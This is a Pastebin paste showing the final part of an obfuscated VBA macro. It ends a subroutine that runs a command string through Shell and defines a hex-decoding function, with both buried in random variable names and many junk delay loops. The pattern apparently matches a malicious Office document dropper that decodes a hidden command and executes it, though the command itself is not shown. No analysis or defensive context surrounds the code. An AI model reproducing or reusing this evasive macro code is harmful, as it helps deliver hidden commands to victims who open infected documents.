  1059. Loop
  1060.  
  1061.  
  1062. Dim ynsmeMYQ As Integer
  1063. ynsmeMYQ = 2
  1064. Do While ynsmeMYQ < 87
  1065. DoEvents: ynsmeMYQ = ynsmeMYQ + 1
  1066. Loop
  1067.  
  1068.     eFJGdsff = Shell(sUdsfsdf, 1)
  1069.  
  1070. End Sub
  1071.  
  1072. Public Function HexToString(ByVal hextext As String) As String
  1073.  
  1074. Dim wWbztFwG As Integer
  1075.  
  1076. Dim GUPqhtPg As Integer
  1077. GUPqhtPg = 5
  1078. Do While GUPqhtPg < 48
  1079. DoEvents: GUPqhtPg = GUPqhtPg + 1
  1080. Loop
  1081.  
  1082. wWbztFwG = 2
  1083. Do While wWbztFwG < 12
  1084.  
  1085. Dim uRXhQDWq As Integer
  1086. uRXhQDWq = 8
  1087. Do While uRXhQDWq < 78
  1088. DoEvents: uRXhQDWq = uRXhQDWq + 1
  1089. Loop
  1090.  
  1091. DoEvents: wWbztFwG = wWbztFwG + 1
  1092.  
  1093. Dim EVQinjcM As Integer
  1094. EVQinjcM = 3
  1095. Do While EVQinjcM < 84
  1096. DoEvents: EVQinjcM = EVQinjcM + 1
  1097. Loop
  1098.  
  1099. Loop
  1100.  
  1101.  
  1102. Dim yPwhqFgT As Integer
  1103. yPwhqFgT = 8
  1104. Do While yPwhqFgT < 42
  1105. DoEvents: yPwhqFgT = yPwhqFgT + 1
  1106. Loop
  1107.  
  1108.    
  1109. For y = 1 To Len(hextext)
  1110.  
  1111. Dim DKQuAxYQ As Integer
  1112.  
  1113. Dim ApQiblsP As Integer
  1114. ApQiblsP = 3
  1115. Do While ApQiblsP < 76
  1116. DoEvents: ApQiblsP = ApQiblsP + 1
  1117. Loop
  1118.  
  1119. DKQuAxYQ = 5
  1120. Do While DKQuAxYQ < 41
  1121.  
  1122. Dim rXwhqJex As Integer
  1123. rXwhqJex = 8
  1124. Do While rXwhqJex < 34
  1125. DoEvents: rXwhqJex = rXwhqJex + 1
  1126. Loop
  1127.  
  1128. DoEvents: DKQuAxYQ = DKQuAxYQ + 1
  1129.  
  1130. Dim GPlvEueK As Integer
  1131. GPlvEueK = 3
  1132. Do While GPlvEueK < 49
  1133. DoEvents: GPlvEueK = GPlvEueK + 1
  1134. Loop
  1135.  
  1136. Loop
  1137.  
  1138.  
  1139. Dim jxtTfTWR As Integer
  1140. jxtTfTWR = 7
  1141. Do While jxtTfTWR < 96
  1142. DoEvents: jxtTfTWR = jxtTfTWR + 1
  1143. Loop
  1144.  
  1145.     num = Mid(hextext, y, 2)
  1146.  
  1147. Dim qsnBhNom As Integer
  1148.  
  1149. Dim RVFXklSQ As Integer
  1150. RVFXklSQ = 3
  1151. Do While RVFXklSQ < 59
  1152. DoEvents: RVFXklSQ = RVFXklSQ + 1
  1153. Loop
  1154.  
  1155. qsnBhNom = 9
  1156. Do While qsnBhNom < 46
  1157.  
  1158. Dim mtIlYZzo As Integer
  1159. mtIlYZzo = 1
  1160. Do While mtIlYZzo < 65
  1161. DoEvents: mtIlYZzo = mtIlYZzo + 1
  1162. Loop
  1163.  
  1164. DoEvents: qsnBhNom = qsnBhNom + 1
  1165.  
  1166. Dim DKDBypFV As Integer
  1167. DKDBypFV = 5
  1168. Do While DKDBypFV < 41
  1169. DoEvents: DKDBypFV = DKDBypFV + 1
  1170. Loop
  1171.  
  1172. Loop
  1173.  
  1174.  
  1175. Dim EBUcmmrw As Integer
  1176. EBUcmmrw = 3
  1177. Do While EBUcmmrw < 22
  1178. DoEvents: EBUcmmrw = EBUcmmrw + 1
  1179. Loop
  1180.  
  1181.     Value = Value & Chr(CDbl("&h" & num))
  1182.  
  1183. Dim lqyAAJfk As Integer
  1184.  
  1185. Dim HnhDciWZ As Integer
  1186. HnhDciWZ = 5
  1187. Do While HnhDciWZ < 19
  1188. DoEvents: HnhDciWZ = HnhDciWZ + 1
  1189. Loop
  1190.  
  1191. lqyAAJfk = 1
  1192. Do While lqyAAJfk < 94
  1193.  
  1194. Dim JwOgaoKJ As Integer
  1195. JwOgaoKJ = 5
  1196. Do While JwOgaoKJ < 18
  1197. DoEvents: JwOgaoKJ = JwOgaoKJ + 1
  1198. Loop
  1199.  
  1200. DoEvents: lqyAAJfk = lqyAAJfk + 1
  1201.  
  1202. Dim AqUclcKd As Integer
  1203. AqUclcKd = 9
  1204. Do While AqUclcKd < 24
  1205. DoEvents: AqUclcKd = AqUclcKd + 1
  1206. Loop
  1207.  
  1208. Loop
  1209.  
  1210.  
  1211. Dim kkAWIUuP As Integer
  1212. kkAWIUuP = 8
  1213. Do While kkAWIUuP < 96
  1214. DoEvents: kkAWIUuP = kkAWIUuP + 1
  1215. Loop
  1216.  
  1217.     y = y + 1
  1218. Next y
  1219.  
  1220.  
  1221. Dim ljYAaKUD As Integer
  1222.  
  1223. Dim HEaLjCxl As Integer
  1224. HEaLjCxl = 5
  1225. Do While HEaLjCxl < 19
  1226. DoEvents: HEaLjCxl = HEaLjCxl + 1
  1227. Loop
  1228.  
  1229. ljYAaKUD = 1
  1230. Do While ljYAaKUD < 67
  1231.  
  1232. Dim YPWkTuQH As Integer
  1233. YPWkTuQH = 3
  1234. Do While YPWkTuQH < 82
  1235. DoEvents: YPWkTuQH = YPWkTuQH + 1
  1236. Loop
  1237.  
  1238. DoEvents: ljYAaKUD = ljYAaKUD + 1
  1239.  
  1240. Dim fLpdInWj As Integer
  1241. fLpdInWj = 9
  1242. Do While fLpdInWj < 81
  1243. DoEvents: fLpdInWj = fLpdInWj + 1
  1244. Loop
  1245.  
  1246. Loop
  1247.  
  1248.  
  1249. Dim kwdanxIn As Integer
  1250. kwdanxIn = 1
  1251. Do While kwdanxIn < 96
  1252. DoEvents: kwdanxIn = kwdanxIn + 1
  1253. Loop
  1254.  
  1255. HexToString = Value
  1256. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top